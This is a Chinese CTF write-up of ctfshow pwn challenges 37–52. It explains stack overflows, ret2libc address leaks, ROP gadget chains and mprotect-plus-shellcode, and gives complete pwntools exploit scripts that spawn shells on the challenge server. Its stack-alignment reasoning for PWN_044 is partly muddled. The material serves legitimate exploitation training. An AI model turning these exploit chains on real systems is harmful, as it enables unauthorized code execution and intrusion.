这里的44个‘a’是0x28 + 4 ,0x28(十进制 40)是缓冲区到 ebp(栈基址寄存器)的距离,+4 是覆盖 ebp 本身(32 位程序中寄存器占 4 字节),总共 44 字节后,后续数据才能覆盖函数的 “返回地址”,从而跳转到 get_flag 函数。当然你可以用cyclic(0x28 + 4),产生44字节的垃圾值。

PWN_037

题目:32位的 system(“/bin/sh”) 后门函数给你。 PWN_037

checksec发现是有无栈溢出保护的,关了canary。

IDA分析:

可以发现main函数没有什么可以利用的,但是在函数目录可以看到有个backdoor的函数有猫腻….

真“后门”函数——backdoor

这个函数居然有/bin/sh!!!!!

跟进ctfshow函数:

有read读取函数,那我们可以以此为注入点,用垃圾值0x12+4先覆盖函数变量和寄存器ebp本身,然后再上传一个后门函数的地址。

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show',28229)
elf = ELF('./pwn')
backdoor = elf.sym['backdoor'] #后门函数的地址
payload = cyclic(0x12 + 4) + p32(backdoor)
io.sendline(payload)
io.recv()
io.interactive()

脚本exp万岁。

PWN_038

题目:64位的 system(“/bin/sh”) 后门函数给你。

checksec:

没开canary保护,开NX保护(不能ret2shellcode)

buf数组距离ebp寄存器为0xAh,加上本身寄存器ebp的8字节。

跟进backdoor函数看到/bin/sh,本题思路和上题PWN_037一样,只不过架构变成64位而已。

上题backdoor函数的int类型

本题的后门函数int_64

64 位程序调用 system 需考虑堆栈平衡,本质是 64 位 ABI 对 “栈对齐” 的硬性要求—— 若不满足,函数执行时访问栈内存会崩溃;而 32 位 ABI 无此要求,仅需调用后清理参数栈即可,因此无需额外关注平衡。

所以说exp需要考虑到堆栈平衡加上ret返回地址:

在实际解题中,ret 地址需要针对当前题目动态获取,常用方法:

工具查找:用 ROPgadget 工具直接搜索程序中的 ret 指令(最常用):

1
ROPgadget --binary ./pwn | grep ret

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show', 28147)
elf = ELF('./pwn')
backdoor = elf.sym['backdoor']
ret = 0x400287 # 0x0000000000400287 : ret
payload = cyclic(0xA+8) + p64(ret) + p64(backdoor)
io.sendline(payload)
io.recv()
io.interactive()

PWN_039

题目:32位的 system(); “/bin/sh”。 PWN_039

checksec一下:

可以看到没开启canary、PIE保护的,存在可利用栈溢出漏洞的可能。

IDA:

32位的IDA分析

跟进ctfshow函数发现栈溢出:

可以读取50个字符给buf,但buf容量只有14,所以超过14就会造成栈溢出。

接着在函数目录看到hint函数有猫腻:

那么大致的exp思路就来了:也就是先cyclic函数生成垃圾值覆盖局部变量和ebp寄存器本身;但是只有system函数和/bin/sh,却没有system(“/bin/sh”);的后门,所以我们只能构造出来。

在编写exp时,因为程序是32位,所以说不用去考虑它的堆栈平衡:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28216)
elf = ELF('./pwn')
system = elf.sym['system']
bin_sh = 0x8048750
payload = 'a'*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()

这里的p32(0)等于4字节,可以用四个a或者cyclic(4)代替也行,这时32位下system函数的返回地址占位符,然后就到执行/bin/sh,那就是跳转到它的地址:

/bin/sh字符串的地址

这样子我们就构造出system("/bin/sh");了,然后进入交互模式获得flag。

这题主要考察我们对于函数的构造以及函数地址的拼接、栈的结构组成。需要多看看我的PWN-2啊。。。。

PWN_040

题目:64位的 system(); “/bin/sh”。

IDA64位分析,跟进ctfshow函数:

checksec看到未打开canary保护,而且在ctfshow函数这发现有栈溢出。

跟进hint函数,发现后门。

用ROPgadget命令查询ret地址:

1
ROPgadget --binary ./pwn | grep ret

ret地址查询

查询/bin/sh的地址:

/bin/sh的地址:0x400808

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28194)
elf = ELF('./pwn')
system = elf.sym['system']
bin_sh = 0x400808
pop_rdi = 0x4007e3 # 0x00000000004007e3 : pop rdi ; ret
ret = 0x4004fe # 0x00000000004004fe : ret
payload = 'a'*(0xA+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
io.sendline(payload)
io.recv()
io.interactive()

欸为什么exp的payload中的参数不太一样?

32位和64位可执行程序的参数传递顺序

即使思路一样但架构不一样,在写payload的时候注入地址的顺序也是不一样的:

  • 32 位程序(PWN039):32 位程序中,函数参数通过栈传递。在 PWN039 里,system函数地址紧跟在填充数据之后,这是因为溢出后直接覆盖返回地址为system函数地址,让程序执行system函数。在payload = 'a'*(0x12 + 4) + p32(system) + p32(0) + p32(bin_sh)中,'a'*(0x12 + 4)用于填充缓冲区并覆盖原返回地址,p32(system)将返回地址修改为system函数地址 ,p32(0)是为了满足栈结构,作为system函数执行后的返回地址(实际执行中并不重要,可随意填充 4 字节),p32(bin_sh)则是system函数的参数,即/bin/sh字符串的地址。这样的顺序符合 32 位程序通过栈传参和控制程序执行流的特点。
  • 64 位程序(PWN40):64 位程序的函数调用规则有所不同,前 6 个参数优先通过寄存器传递,其中第一个参数存放在rdi寄存器。在 PWN40 中,payload = 'a'*(0xA + 8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)'a'*(0xA + 8)用于填充缓冲区和覆盖原返回地址;p64(pop_rdi)pop_rdi指令地址放入栈中,执行pop_rdi指令时,会把紧跟其后的p64(bin_sh)中的/bin/sh地址弹出到rdi寄存器,作为system函数的第一个参数;p64(ret)用于栈对齐(64 位程序调用函数前需要保证栈 16 字节对齐,ret指令可调整栈指针);最后p64(system)system函数地址放入栈中,当程序执行到这里时,会跳转到system函数执行,此时rdi寄存器中已正确设置了参数/bin/sh的地址。

PWN_041

题目:

32位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代。 PWN_041

checksec一下,然后IDA分析

不能用ret2shellcode了。

这里和上题差不多,找一下/bin/sh:

找不到,但找到sh:

/bin/sh和sh的核心区别

关键场景:能否替代取决于「调用函数的要求」

PWN 中最常用的是通过 execve、system 函数执行 Shell(如构造 execve("/bin/sh", NULL, NULL) 获得交互权限),此外也可能涉及 system 函数,两者对参数的要求不同:

场景 1:execve 函数(必须用绝对路径,sh 不可替代 /bin/sh

execve 是 Linux 系统调用,作用是加载并执行新程序,其第一个参数必须是程序的绝对路径(或相对路径,但绝对路径是 PWN 中的常规选择),否则会报错「No such file or directory」。

  • 正确用法:execve("/bin/sh", ...)(系统直接定位到 /bin/sh,执行成功)。
  • 错误用法:execve("sh", ...)(系统不知道 sh 在哪里,会遍历 $PATH 查找,但 execve 不支持通过 $PATH 解析命令名,直接失败)。

因此,在构造 execve 调用时,只能用 /bin/sh,不能用 sh

场景 2:system 函数(sh/bin/sh 效果一致,可替代)

system 函数的底层逻辑是「调用 /bin/sh -c 来执行参数中的命令」,其参数支持「命令名」或「绝对路径」:

  • 若传 system("sh")system 会自动通过 $PATH 找到 sh(即 /bin/sh),等价于执行 /bin/sh -c sh,最终启动 Shell。
  • 若传 system("/bin/sh"):等价于执行 /bin/sh -c /bin/sh,同样启动 Shell。

因此,在使用 system 函数时,sh/bin/sh 效果完全一致,可以互相替代

特殊情况:环境变量 $PATH 被篡改(sh 可能失效,/bin/sh 更可靠)

虽然多数情况下 $PATH 包含 /bin,但如果目标程序运行时篡改了 $PATH(如删除 /bin 目录),此时:

  • sh 会因 $PATH 中找不到 sh 而失败;
  • /bin/sh 因是绝对路径,不受 $PATH 影响,依然能成功执行。

PWN 利用中为了「兼容性和稳定性」,即使是 system 函数,也更推荐写 /bin/sh 而非 sh(避免因环境变量异常导致利用失败)。

这里跟进hint函数:

发现这有现成的system函数,也就是说可以调用sh去进行提权。

知道了sh地址是0x80487BA,就可以写exp了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
context.log_level = 'debug'

io = remote('pwn.challenge.ctf.show',28261)
elf = ELF('./pwn')
system = elf.sym['system']

sh = 0x80487BA

payload =cyclic(0x12+4) + p32(system) + p32(0) + p32(sh)
io.sendline(payload)
io.recv()
io.interactive()

PWN_042

题目:64位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代。 PWN_042

来看IDA64位分析:

存在栈溢出

checksec:

在跟进hint函数也是如此,和PWN_041一样的,这次程序是64位,在exp编写上有所不同,需要pop_rdi:ret、ret的地址:

ret:0x40053e

pop_rdi:0x400843

再找sh的地址吧:

sh的地址是0x400872

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
context.log_level = 'debug'

io = remote('pwn.challenge.ctf.show',28281)
elf = ELF('./pwn')
system = elf.sym['system']

sh = 0x400872
ret = 0x40053e
pop_rdi = 0x400843
payload =cyclic(0xA+8) + p64(pop_rdi) + p64(sh) + p64(ret) + p64(system)
io.sendline(payload)
io.recv()
io.interactive()

flag就不给了,因为靶机给的flag是动态的。

PWN_043

题目:32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法。 PWN_043

IDA32位跟进ctfshow函数:

gets栈溢出

gets函数很危险的,一般都用fgets,用这个必溢出的好吧……

跟进hint函数:

我们发现了system函数,但却不提供sh、/bin/sh给我们,只能利用gets函数。(gets函数进行读入数据,它可以无限读取到内存,不会判断上限,可以包含空格,以回车结束读取。所以这里就存在了明显的溢出)

那大致的exp思路来了;先用cyclic产生垃圾值填充缓冲区和ebp本身,出现栈溢出后,将返回值覆盖为gets函数地址,加上ebx寄存器弹栈,gets函数读取数据,把我们所给的/bin/sh字符串写入这个内存里面,再次利用栈溢出,将返回地址覆盖为 system 函数的地址,使得 gets 执行完后,程序自动跳转到 system 执行,执行 system("/bin/sh") 获取 shell。

这个内存去哪找?

在bss字段(未初始化字段)找到了buf2变量:

buf2:未定义的内存变量

查询pop_ebx的地址

pop_ebx的地址是0x8048409

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level = 'debug'

io = remote('pwn.challenge.ctf.show',28152)
elf = ELF('./pwn')
system = elf.sym['system']

gets = elf.sym['gets']
pop_ebx = 0x8048409
buf2 = elf.sym['buf2']
payload =cyclic(0x6C+4) + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system) + p32(0) + p32(buf2)

io.sendline(payload)

io.sendline("/bin/sh")
io.recv()
io.interactive()

这里有个疑问点就是为什么要用buf2内存变量呢?我直接调用system函数后再注入/bin/sh不就好了吗?这显然不行,因为此时的/bin/sh是一个普通的字符串,并没有分配地址,可执行程序的PIE和ASLR保护机制会让布局发生随机化改变,你给的字符串没地址,而system函数需要接受地址才能执行,而非直接注入无地址的纯字符串,buf2是bss字段的全局变量,地址固定,能给/bin/sh一个固定地址,让system精准找到它并执行。

PWN_044

题目:64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法。 PWN_044

IDA分析:

main函数

gets函数

bss字段上的buf2变量

和上一题区别是参数传递,64位的前6参数是靠寄存器rdi传递的。查询pop rdi;ret汇编命令的地址:

pop rdi ; ret:0x4007f3

ret:0x4004fe

那exp大致不变,主要是payload吧:

1
2
3
4
5
6
7
...

payload = cyclic(0xA+8) + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(ret) + p64(system)



...

可以发现这是错误的,进入不了交互,错就错在ret,这里不需要进行手动调栈堆平衡:

gets 执行完后的总偏移是 44 字节(36+8)。

后续执行 pop_rdi(8 字节)+ buf2 地址(8 字节)后,总偏移变为 44+8+8=60 字节。

60 字节 ÷ 16 字节 = 3 余 12?不对 —— 此时调用 system 前,rsp 指向 system 函数的地址,而 60 + 8system 地址本身)= 68 字节,68 ÷ 16 = 4 余 4?这显然不对。

正确理解:不用纠结静态数字,而是要看到 gets 的执行引入了一次 “额外的栈弹出”(8 字节),恰好抵消了部分偏移的 “非对齐量”,使得最终调用 system 时,rsp 刚好落在 16 字节对齐的地址上 —— 这是动态执行中栈自然调整的结果,而非静态计算的总和。

在 64 位 PWN 题中,“动态对齐” 是否需要加 ret,核心看 “中间是否有函数执行并自动调整栈指针”

正确的exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level = 'debug'

io = remote('pwn.challenge.ctf.show',28244)
elf = ELF('./pwn')
system = elf.sym['system']

gets = elf.sym['gets']
pop_rdi = 0x4007f3
buf2 = elf.sym['buf2']

payload = cyclic(0xA+8) + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system)  

io.sendline(payload)
io.sendline("/bin/sh")
io.recv()
io.interactive()

PWN_045

题目:32位 无 system 无 “/bin/sh”。 PWN_045

checksec一下:

32位关闭栈保护关闭PIE。

IDA分析main:

跟进ctfshow函数:

还是明显的溢出漏洞了,只是其中的偏移变了,大差不差,现在我们关心的是如何去找到我们所需要的东西呢?现在既没有system,也没有“/bin/sh”

思路:地址随机化+NX保护禁用ret2shellcode,那就是暗示我用ret2libc咯,用LibcSearcher获取当前libc版本,利用write泄露出write本身函数地址,再获取程序中因开启NX保护时地址随机化的write虚拟地址,两个地址相减得到地址偏移量,接着就能反推出system、/bin/sh的真实地址了。在此之前要记得先填充好变量的缓冲区。

上半部分exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show',28307)
elf = ELF('./pwn')
main = elf.sym['main']
write_got = elf.got['write']
write_plt = elf.plt['write']
payload = cyclic(0x6b+4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
io.recvuntil('O.o?')  #等程序发送这字符串蔡发送第一份payload
io.sendline(payload)

这时候已经把write函数地址泄露出来了,不过看到这里比较懵逼哈,payload为什么要上传这么多,直接调用write函数不行了吗?还要got、plt啥的(堆plt、got不熟悉的可以看回PWN-1中plt和got表的讲解)。让我给你细分一下:先调用write_plt,这指write函数的执行入口,告诉write我要使用你了,调用write后,会从栈上读取这个地址作为下一条指令的位置。这里指定 main 函数,是为了让程序在泄露地址后回到主函数,继续接收我们的第二次payload(用于后续调用 system 获取 shell),避免程序直接退出。第一次payload是获得write地址,第二次payload是执行system函数。

接着到p32(1) + p32(write_got) + p32(4):write 函数的三个参数:

write函数原型

32 位程序中参数通过栈从右往左传递,因此栈上顺序为:fdbufn,也就是 write(1, write_got, 4)

来下半部分exp:

1
2
3
4
5
6
7
8
9
libc = LibcSearcher('write',write) #用LibcSearcher查询write对应的libc当前版本

libc_base = write - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x6b+4) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()

write = u32(io.recvuntil(’\xf7’)[-4:])这一段比较长,做过之前题目对此有点印象,不应该是write = u32(io.recv(4))?

核心原因是程序输出中存在干扰信息,导致无法直接读取到纯净的 4 字节地址,你执行一下程序就知道了,会有“O.o?”冒出来,这是干扰。

io.recv(4) 是有局限性的,io.recv(4) 的作用是从程序输出中读取固定的 4 字节数据,但它有一个严格前提:程序必须只输出我们需要的 4 字节地址,没有任何多余内容(如提示文本、换行符、其他数据等)。此时recv直接读取4个字节,那就会读到O.o?的字节导致错误。

recvuntil('\xf7')[-4:]:适用于程序输出存在干扰信息,且地址以 \xf7 开头(32 位 libc 典型特征)的场景,通过特征定位 + 截取来提取正确地址。

1
write = u64(io.recvuntil(b'\x7f')[-8:])

PWN_046(待定)

题目:64位 无 system 无 “/bin/sh”。 PWN_046

IDA64分析:

main函数

跟进ctfshow函数

和上题思路差不多,改下参数就好,还有这个O.o?干扰你……

题目有点怪我先跳一跳,

待定

PWN_047

题目:ez ret2libc PWN_047

就提示用ret2libc

checksec一下:

IDA32位分析:

运行程序:

一上来就给了几个函数的地址,目前来看还没给出system的地址。

跟进ctfshow函数还发现了gets函数:

那就是通过栈溢出ret2libc来搞flag咯。

在data字段还找到了/bin/sh:

你有无发现:这个/bin/sh的地址就是gift

那思路就是用puts进行泄露地址,得出偏移量再反推出system函数的真实地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show',28146)
elf = ELF('./pwn')


puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

io.recvuntil("puts:")
puts = eval(io.recvuntil("\n",drop = True))
io.recvuntil("gift:")
bin_sh = eval(io.recvuntil("\n",drop = True))  #只读取地址,丢弃换行\n的16进制字符串


libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
payload = cyclic(0x9c+4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()

PWN_048

题目:没有write了,试试用puts吧,更简单了呢。 PWN_048

checksec

IDA32分析:

main函数

跟进ctfshow函数:

有栈溢出

编写exp泄露puts的地址,得出偏移量区反推出system函数、/bin/sh的地址。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show',28189)
elf = ELF('./pwn')
main = elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload = cyclic(0x6b+4) + p32(puts_plt) + p32(main) + p32(puts_got)
io.recvuntil('O.o?')
io.sendline(payload)
puts = u32(io.recvuntil('\xf7')[-4:])
#\xf7 是程序输出中 write、puts 地址的标志性末尾字节。通过 recvuntil('\xf7'),可以确保:读取到的内容 “包含 puts 地址的完整有效部分”(因为只有遇到 \xf7 才会停止读取)。避免因程序输出存在其他干扰数据,导致 recv(4) 提前截取到错误的 4 字节。
print(hex(puts))   #可要可不要,只是方便检查
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x6b+4) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()

PWN_049

题目:静态编译?或许你可以找找mprotect函数。 PWN_049

checksec一下,没开canary、PIE、NX保护。

IDA32:

可以看到有非常多的函数,这就是静态编译。

跟进ctfshow函数,看到read有栈溢出漏洞。

找mprotect函数:

Mprotect函数

1
2
3
4
5
6
7
8
9
unsigned int __cdecl mprotect(const void *a1, size_t a2, int a3)
{
  unsigned int result; // eax

  result = sys_mprotect(a1, a2, a3);
  if ( result >= 0xFFFFF001 )
    return _syscall_error();
  return result;
}
代码解析:
  1. 函数参数
  • a1:要修改权限的内存起始地址(需页对齐)。
  • a2:内存区域的长度(字节数)。
  • a3:新的保护权限(如 PROT_READPROT_WRITEPROT_EXECPROT_NONEprot=7)。prot可以取这几个值,并且可以用“|”将几个属性合起来使用。
  1. 核心逻辑
  • 调用 sys_mprotect:这是真正的内核级系统调用(用户态到内核态的桥梁),负责实际执行内存权限修改操作。
  • 错误处理:sys_mprotect 的返回值若 >= 0xFFFFF001(这是 Unix/Linux 中系统调用错误码的典型范围,通常表示操作失败),则通过 _syscall_error() 处理错误(例如设置 errno 并返回错误码)。
  • 成功返回:若系统调用成功,直接返回 sys_mprotect 的结果(通常为 0)。

这段代码是用户态 mprotect 函数的封装,本质是通过调用内核的 sys_mprotect 系统调用来实现功能,最终目的是:

允许进程动态修改某段内存的读写执行权限(例如将只读内存改为可写,或给数据段添加执行权限),常用于内存管理、动态代码加载、漏洞利用等场景。

简单说,这段代码是用户程序与内核交互的 “中间层”,让开发者可以通过简单的函数调用修改内存权限,而无需直接操作内核接口。

那么我们可以利用它修改内存的权限为可读可写可执 行(RWX),然后我们就可以往栈上写入shellcode、执行,最后获取shell。

在构造 payload 前,需先确定 3 个核心要素:目标内存地址、mprotect 参数、控制寄存器的 Gadget,这些是 payload 的 “积木”。

我们要选择的内存地址是0x80DA000,等会?这不是bss段吧?

页对齐的地址

  • 选择原因mprotect 要求操作的内存地址必须 页对齐(即地址是 4KB/0x1000 的整数倍,32 位系统默认页大小为 4KB)(64位就是8kb咯)。
  • 程序 BSS 段起始地址(如 0x80DB320)不满足页对齐,而 0x80DA000 是内存页的起始地址(末尾三位为 000,符合 4KB 对齐),且属于程序可访问的内存区域。

然后就是mprotect函数参数

1
mprotect(const void *a1, size_t a2, int a3)

a1是start起始地址,也就是0x80DA000;a2是长度范围,这里选择0x1000,足够我们容纳shellcode大小了;a3是prot,也就是修改成的权限范围,这里直接改为RWX,也就是简写0x7

最后是控制函数参数的工具——关键gadgets

32位程序用栈传参的,这里的mprotect函数有三个参数,且调用后需继续控制流程,因此需要 pop ebx ; pop esi ; pop ebp ; ret 这样的 Gadget,用ROPgadget指令查询地址:

pop ebx ; pop esi ; pop ebp ; ret的地址是0x080a019b

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show',28132)
elf = ELF('./pwn')

mprotect = elf.sym['mprotect']
read_address = elf.sym['read']
pop_ebx_esi_ebp_ret = 0x80a019b
start = 0x80DA000
size = 0x1000
proc = 0x7

payload = cyclic(0x12+4) + p32(mprotect)
payload += p32(pop_ebx_esi_ebp_ret) + p32(start) + p32(size) + p32(proc)

payload += p32(read_address)
payload += p32(pop_ebx_esi_ebp_ret) + p32(0) + p32(start) + p32(size) + p32(start)

io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.recv()
io.interactive()

对于payload:

1
2
3
4
5
payload = cyclic(0x12+4) + p32(mprotect)
payload += p32(pop_ebx_esi_ebp_ret) + p32(start) + p32(size) + p32(proc)

payload += p32(read_address)
payload += p32(pop_ebx_esi_ebp_ret) + p32(0) + p32(start) + p32(size) + p32(start)

先填充缓冲区,调用mprotect函数,接着输入mprotect函数的3个参数,在此之前就要用到gadget:pop_ebx_esi_ebp_ret进行传参,按照mprotect函数的三个参数对应意义进行注入start、size、proc,这时已经给bss内存片段开放了可执行权限,然后读取read函数地址进而调用read函数,再用gadget:pop_ebx_esi_ebp_ret进行传read的3个参数,读取 后面我们所上传的shellcode 到目标内存来执行。最后上传shellcode。

其实你可以发现这也是ret2shellcode的其中一种,只不过多加了mprotect函数控制流程罢了。

整个流程的核心逻辑就是通过栈溢出构建 “函数调用链”,逐步完成 “开权限→写代码→执行代码” 的攻击流程。

对于这道题而言对我感触比较深,加深我对寄存器、gadget、整个函数调用流程、参数传递过程的理解!如果你觉得很难而跳过,那你就错过了一次PWN入门者的提升机会,博主当时啃这题花了快两天时间,凌晨才写完这题的writeup呢,花点耐心去学,PWNer!

PWN_050

题目:好像哪里不一样了;远程libc环境 Ubuntu 18。 PWN_050

当然,你可以继续使用ret2libc来完成这题,甚至会更简单,而我的目的是为了让大家进一步学mprotect函数。

这里叫我们启动Ubuntu 18,就ctfshow配给我们的,那我们就听劝用它的虚拟机。虽说比较老……

checksec

跟进ctfshow、main函数:

ctfshow函数

main函数

明显看到危险的gets函数,ctfshow函数这有栈溢出漏洞:

主要流程如下(4步payload):

  1. 泄漏内存地址,通过计算得到libc地址
  2. 通过mprotect函数来修改一段区域的权限,位rwx
  3. 向这段区域写入shellcode
  4. 跳转到写入shellcode的区域,并执行

我们要利用mprotect函数改变内存执行权限,那我们需要找地址,正好这次和上次一样不是页对齐:

bss_start_address = 0x602000

64位程序靠寄存器传参,用ROPgadget命令查询程序本身的gadget:

pop_rdi_ret = 0x00000000004007e3

用ROPgadget命令查libc库的通用gadget:

1
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6

pop_rdx_ret1 = 0x0000000000001b96

pop_rsi_ret1 = 0x0000000000023a6a

前面加个1是因为,后续还有一个类似的gadget变量,好区分一些。

为什么第一个gadget可以从程序本身去查到,而第二三个gadget地址却要在libc库获取?

查询不到

从这可以看到程序本身是不带第二、三个的gadget的,因为我们要利用漏洞去获取flag,而本身程序运行是不用后面俩的gadget的。

exp;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

io = remote('pwn.challenge.ctf.show', 28281)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

main = elf.sym['main']
ctfshow = elf.sym['ctfshow']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x00000000004007e3
pop_rdx_ret1 = 0x0000000000001b96  
pop_rsi_ret1 = 0x0000000000023a6a
bss_start_address = 0x602000  # 内存页对齐地址
size = 0x1000
proc = 0x7  # PROT_READ | PROT_WRITE | PROT_EXEC
# 确保shellcode地址所在页与bss_start_address同页(或调整mprotect范围)
shellcode_address = 0x602000 + 0x100  

# 阶段1:泄露libc地址
payload = cyclic(0x20 + 8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(ctfshow)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.recvline()


leak_address = u64(io.recvline().split(b'\x0a')[0].ljust(8, b'\x00'))
libc_base = leak_address - libc.sym['puts']
libc.address = libc_base  # 设置libc基地址
success("libc_base = 0x%x", libc_base)

pop_rsi_ret = libc_base + pop_rsi_ret1
pop_rdx_ret = libc_base + pop_rdx_ret1
mprotect = libc.sym['mprotect']
gets = libc.sym['gets']

# 阶段2:调用mprotect修改内存权限
payload = cyclic(0x20 + 8) + p64(pop_rdi_ret) + p64(bss_start_address) + p64(pop_rsi_ret) + p64(size) + p64(pop_rdx_ret) + p64(proc) + p64(mprotect) + p64(main)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.recv()

# 阶段3:利用gets写入shellcode
payload = cyclic(0x20 + 8) + p64(pop_rdi_ret) + p64(shellcode_address) + p64(gets) + p64(main)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)

# 阶段4:跳转到shellcode执行
payload = cyclic(0x20 + 8) + p64(shellcode_address)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.interactive()

让我给你逐步解释:

1
2
pop_rdx_ret1 = 0x0000000000001b96  
pop_rsi_ret1 = 0x0000000000023a6a

这里前面有个1是方便区分,这两个gadget是在libc库上的通用gadget,受ASLR保护,地址是动态变化的,需要用所有函数的真实地址 = libc 基地址 + 函数的本地偏移得出地址:

1
libc_base = leak_address - libc.sym['puts']

泄露puts在本地程序的地址,再泄露puts再libc库的地址推出偏移量,已知本地程序的每个函数地址偏移量相同,知道偏移量后,泄露libc标准库的gadget(/lib/x86_64-linux-gnu/libc.so.6)就能反推出本地程序gadget的真实地址:

1
2
pop_rsi_ret = libc_base + pop_rsi_ret1
pop_rdx_ret = libc_base + pop_rdx_ret1

这里有个问题:为什么gets = libc.sym[‘gets’]就是真实地址呢,你会认为它就是libc库的通用地址,是不是应该加上本地偏移量呢?

libc.sym['gets'] 最终是真实地址的原因是:

  1. 它原本是 “偏移量”(相对于 libc 基地址);
  2. 当你设置 libc.address = libc_base 后,pwntools 自动将 “基地址 + 偏移量” 合并,得到真实地址。

libc.address 不是一个函数,而是 pwntoolsELF 类的一个属性(attribute),用于存储和设置 ELF 文件(这里特指 libc 库)在内存中的基地址。

当你通过 libc = ELF('libc.so.6') 加载 libc 库后,libc.address 默认值为 0(表示尚未设置基地址)。

总的来说这题质量不错,耗了我两天空闲时间去攻克。

PWN_051

题目:I‘m IronMan; PWN_051

32位关闭栈保护以及PIE

IDA抽象🤦‍😄…

跟进main函数,这次函数名字比较难记,可以改个名字:

更改名字后

跟进ctfshow函数:

很明显这是用C++写的,这里我看的不太懂,借用AI解读…

在往s中read的时候大小没有问题,但是程序在下面将字符"I"替换成 了"IronMan",最后在strcpy的时候发生了溢出。只需要简单计算一下,那么在输入16个“I” 就会被替换为 16 * 7 = 112个字符,而s距ebp的距离为 0x6c = 108。

正常溢出覆盖到返回地址就是 cyclic(0x6c+4) = cyclic(112) ,输入16个I刚好替换成 16个"IronMan",刚好是112个,也就刚好覆盖到返回地址,但用其它字符比如a不可以,因为会再调用 std::string::operator+= 将输入的 "a"*112 拼接到这个固定前缀之后。此时,字符串总长度已变为 “固定前缀长度 + 112 字节”,必然超过 112 字节。

shift + F12查看字符串

让我发现了cat /ctfshow_flag,可以利用栈溢出来执行这个catflag的命令:

找它地址:

Alt + T查询

地址:804902E

exp:

1
2
3
4
5
6
7
8
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28216)
elf = ELF('./pwn')
get_flag = 0x804902E
payload = b"I"*16 + p32(get_flag)
io.sendline(payload)
io.interactive()

PWN_052

题目:迎面走来的flag让我如此蠢蠢欲动; PWN_052

IDA32位分析,跟进ctfshow函数:

让我看到了gets函数。

跟进flag函数:

这段 C 语言代码定义了一个名为flag的函数,主要功能是读取并输出特定文件中的内容,但有条件限制。我们来分析一下: 函数首先尝试打开/ctfshow_flag文件用于读取, 如果文件打开失败,会输出错误信息并退出程序; 如果文件打开成功,会读取文件中的内容到s数组。(最多 64 个字符)

函数的返回逻辑: 当参数a1等于 0x36C 且a2等于 0x36D 时,使用printf(s)输出文件内容并返回;否则,直接返回fgets的结果。(即读取到的字符串)

也就是说我们利用栈溢出漏洞覆盖返回地址,返回到这个flag函数并执行就能获得flag。

exp:

 1
 2
